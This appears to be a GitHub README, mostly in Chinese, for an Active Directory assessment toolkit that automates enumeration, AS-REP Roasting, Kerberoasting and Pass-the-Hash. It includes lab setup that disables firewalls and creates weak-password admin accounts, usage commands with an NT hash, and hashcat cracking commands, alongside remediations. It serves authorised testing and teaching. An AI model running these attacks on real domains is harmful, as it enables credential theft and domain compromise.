torchiachristian/ad-attack-toolkit

GitHub: torchiachristian/ad-attack-toolkit

一款自动化 Active Directory 安全评估工具,通过组合攻击技术批量发现并报告 AD 配置弱点。

Stars: 0 | Forks: 0

# AD Attack Toolkit Active Directory 安全评估工具。自动化枚举、AS-REP Roasting、Kerberoasting 和针对目标域的口令传递哈希攻击,并生成包含发现结果和修复步骤的 PDF 报告。 作为一个用于理解 AD 攻击向量、Kerberos 协议弱点及防御措施的组合工具而构建。 ## 可重现设置 (!) 克隆此仓库并逐步按照实验室设置部分操作。 所有命令均经过测试,可直接复制粘贴,您可以在几小时内从零开始复制完整的攻击环境。 ## 功能说明 给定一个域控制器 IP 和有效的域凭据(或低权限凭据),该工具包将: 1. **枚举** 所有用户、组和权限(通过 LDAP) 2. **识别** 禁用了 Kerberos 预身份验证的用户(AS-Roasting 目标) 3. **识别** 注册了 SPN 的服务账户(Kerberoasting 目标) 4. **捕获** AS-REP 哈希(可离线破解且不会触发锁定) 5. **捕获** 来自服务账户的 TGS 哈希(可离线破解) 6. **演示** 使用 NTLM 哈希进行凭据传递认证 7. **生成** 包含执行摘要、技术细节和修复措施的 PDF 报告 此工具测试特定的、已知的错误配置(**它不会绕过任何安全控制或利用零日漏洞**) ## 测试的漏洞 | 攻击 | 错误配置 | 严重性 | |------|----------|--------| | AS-REP Roasting | 用户账户上禁用了 Kerberos 预身份验证 | 高 | | Kerberoasting | 使用弱密码且注册了 SPN 的服务账户 | 高 | | Pass-the-Hash | NTLM 认证接受哈希而非密码 | 严重 | ## 实验室设置 该工具包已在本地 VirtualBox 实验室中开发并测试: - **DC01**:Windows Server 2022 Datacenter Evaluation(域控制器) - **CLIENT01**:Windows 11 Enterprise Evaluation(加入域) - **Attacker**:Linux 主机(Ubuntu/Mint) - **网络**:VirtualBox 仅主机适配器(隔离,无互联网暴露) - **域**:psychosec.local ### 重建实验室 1. 从 [Microsoft Evaluation Center](https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022) 下载 Windows Server 2022 Evaluation ISO 2. 从 [Microsoft Evaluation Center](https://www.microsoft.com/en-us/evalcenter/evaluate-windows-11-enterprise) 下载 Windows 11 Enterprise Evaluation ISO 3. 创建 VirtualBox 仅主机网络: ``` # Create the network interface VBoxManage hostonlyif create VBoxManage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1 --netmask 255.255.255.0 # Assign to vms (or via GUI: Settings → Network → Adapter 1 → Host-Only → vboxnet0) VBoxManage modifyvm "DC01" --nic1 hostonly --hostonlyadapter1 vboxnet0 VBoxManage modifyvm "CLIENT01" --nic1 hostonly --hostonlyadapter1 vboxnet0 ``` 4. 创建 DC01 虚拟机(4GB 内存,2 CPU,50GB 磁盘),挂载 Server ISO 5. 创建 CLIENT01 虚拟机(4GB 内存,2 CPU,50GB 磁盘),挂载 Windows 11 ISO 6. 将两台虚拟机均设置为仅主机适配器 7. 安装 Windows Server,设置静态 IP(192.168.56.10,DNS 127.0.0.1),然后提升为域控制器: ```powershell Install-WindowsFeature AD-Domain-Services -IncludeManagementTools Install-ADDSForest -DomainName "psychosec.local" -DomainNetBIOSName "PSYCHOSEC" -InstallDns -Force ``` # 启动后,禁用防火墙(仅用于实验室测试) ```powershell Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False ``` 8. 在 DC01 上创建用于示例的易受攻击用户(以管理员身份运行 PowerShell): ``` # Populate AD with example users just for educational testing, if not use real data # Replace usernames passwords descriptions with your own values if desired # normal users New-ADUser -Name "User One" -SamAccountName "user1" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true New-ADUser -Name "User Two" -SamAccountName "user2" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true # AS REP Roasting targets (no Kerberos pre authentication) New-ADUser -Name "User NoPreauth" -SamAccountName "user.nopreauth" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true Set-ADAccountControl -Identity "user.nopreauth" -DoesNotRequirePreAuth $true New-ADUser -Name "Test NoPreauth" -SamAccountName "test.nopreauth" -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) -Enabled $true Set-ADAccountControl -Identity "test.nopreauth" -DoesNotRequirePreAuth $true # Kerberoasting targets (service accounts with SPN) New-ADUser -Name "SQL Service Account" -SamAccountName "svc_sql" -AccountPassword (ConvertTo-SecureString "SQLadmin1!" -AsPlainText -Force) -Enabled $true setspn -A MSSQLSvc/DC01.psychosec.local:1433 svc_sql New-ADUser -Name "Backup Service Account" -SamAccountName "svc_backup" -AccountPassword (ConvertTo-SecureString "Backup2023!" -AsPlainText -Force) -Enabled $true setspn -A backupservice/DC01.psychosec.local svc_backup # Domain Admin with a weak password New-ADUser -Name "Admin Account" -SamAccountName "admin.test" -AccountPassword (ConvertTo-SecureString "Admin123!" -AsPlainText -Force) -Enabled $true Add-ADGroupMember -Identity "Domain Admins" -Members "admin.test" # Regular Domain Admin for running the toolkit New-ADUser -Name "Lab Admin" -SamAccountName "labadmin" -AccountPassword (ConvertTo-SecureString "LabPassword" -AsPlainText -Force) -Enabled $true Add-ADGroupMember -Identity "Domain Admins" -Members "labadmin" ``` 9. 在 CLIENT01 上安装 Windows 11,设置静态 IP(192.168.56.20,DNS 192.168.56.10),禁用防火墙,然后加入域: ```powershell # 通过 GUI 加入域:设置 → 系统 → 关于 → 域或工作组 → 域 → psychosec.local ``` 使用 labadmin/LabPassword 进行身份验证以完成加入操作。 ## 安装 ``` python3 -m venv adtoolkit source adtoolkit/bin/activate pip install ldap3 impacket reportlab ``` ## 使用方法 ### 运行完整评估 ``` python3 ad_attack.py --dc-ip 192.168.56.10 --domain psychosec.local \ -u labadmin -p "LabPassword" --all ``` ### 运行完整评估(含凭据传递) ``` python3 ad_attack.py --dc-ip 192.168.56.10 --domain psychosec.local \ -u labadmin -p "LabPassword" --all \ --pth --pth-user admin.test --nthash 520126a03f5d5a8d836f1c4f34ede7ce ``` ### 独立模块 ``` # 仅枚举 python3 ad_enum.py --dc-ip 192.168.56.10 -u "PSYCHOSEC\labadmin" -p "LabPassword" # 仅 AS-REP Roasting python3 asreproast.py --dc-ip 192.168.56.10 --domain psychosec.local # 仅 Kerberoasting python3 kerberoast.py --dc-ip 192.168.56.10 --domain psychosec.local -u labadmin -p "LabPassword" # 仅 Pass-the-Hash python3 pth.py --dc-ip 192.168.56.10 --domain psychosec.local -u admin.test --nthash 520126... ``` ## 破解捕获的哈希 安装 hashcat 并下载 rockyou 单词列表(包含许多常见密码): ``` sudo apt update && sudo apt install hashcat -y wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt ``` 破解哈希: ``` # AS-REP 哈希(Hashcat 模式 18200) hashcat -m 18200 asrep_hashes.txt rockyou.txt --force # TGS 哈希(Hashcat 模式 13100) hashcat -m 13100 tgs_hashes.txt rockyou.txt --force ``` ## 输出文件 - `enum_results.json` — 完整枚举数据 - `asrep_hashes.txt` — AS-REP 哈希(Hashcat 模式 18200) - `tgs_hashes.txt` — TGS 哈希(Hashcat 模式 13100) - `ad_attack_report.pdf` — 评估报告(包含发现结果和修复措施) - `ad_attack.log` — 详细执行日志 ## 项目结构 ``` ad-attack-toolkit/ ├── ad_attack.py # master script, orchestrates all modules + PDF report ├── ad_enum.py # LDAP enumeration ├── asreproast.py # AS-REP Roasting ├── kerberoast.py # Kerberoasting ├── pth.py # Pass-the-Hash ├── enum_results.json # enumeration output ├── asrep_hashes.txt # captured AS-REP hashes ├── tgs_hashes.txt # captured TGS hashes ├── ad_attack_report.pdf └── README.md ``` ## 攻击原理说明 **AS-REP Roasting**:当用户的 Kerberos 预身份验证被禁用时,任何人都可以请求该用户的 TGT 而无需证明其知晓密码。TGT 使用用户的密码加密,因此可以离线破解。 **Kerberoasting**:任何经过身份验证的域用户都可以请求任意注册了 SPN 的服务的服务票证(TGS)。TGS 使用服务账户的密码加密。如果该密码较弱,则可以离线破解。 **Pass-the-Hash**:Windows NTLM 认证使用基于密码哈希而非明文密码的挑战-响应机制。如果你拥有哈希值,就可以在不知道密码的情况下完成认证。 ## 修复措施 - 为所有账户启用 Kerberos 预身份验证 - 使用组托管服务账户(gMSA)并启用自动密码轮换 - 将服务账户密码设置为 30 个以上随机字符 - 启用 Credential Guard 以保护内存中的 NTLM 哈希 - 监控事件 ID 4768、4769、4776 的异常模式 - 尽可能禁用 NTLM,改用 Kerberos ## 法律声明 **本工具仅供授权的安全测试和教育用途。** 切勿在未拥有或未经明确书面授权测试的系统上使用本工具。未经授权访问计算机系统属于违法行为。作者不对滥用行为承担任何责任。 ## 依赖组件 - Python 3 - [ldap3](https://ldap3.readthedocs.io/) — LDAP 协议 - [Impacket](https://github.com/fortra/impacket) — Kerberos/SMB/NTLM 协议 - [ReportLab](https://www.reportlab.com/) — PDF 生成 - [Hashcat](https://hashcat.net/) — 离线哈希破解 ## 参考资料 - [Impacket 示例](https://github.com/fortra/impacket/tree/master/examples) - [HackTricks AD 方法论](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology) - [Kerberos 详解(Varonis)](https://www.varonis.com/blog/kerberos-authentication-explained)
标签:Active Directory, AD安全评估, AS-REP Roasting, GitHub Advanced Security, Kerberoasting, Kerberos协议, Kerberos弱点, LDAP枚举, NTLM, Pass-the-Hash, PDF报告, PE 加载器, Plaso, TGT, 代码生成, 域控安全, 域渗透, 域账户, 安全加固, 安全测试, 攻击性安全, 攻防演练, 服务账户, 权限枚举, 模拟器, 渗透测试工具, 电子数据取证, 离线破解, 网络安全审计, 自动化评估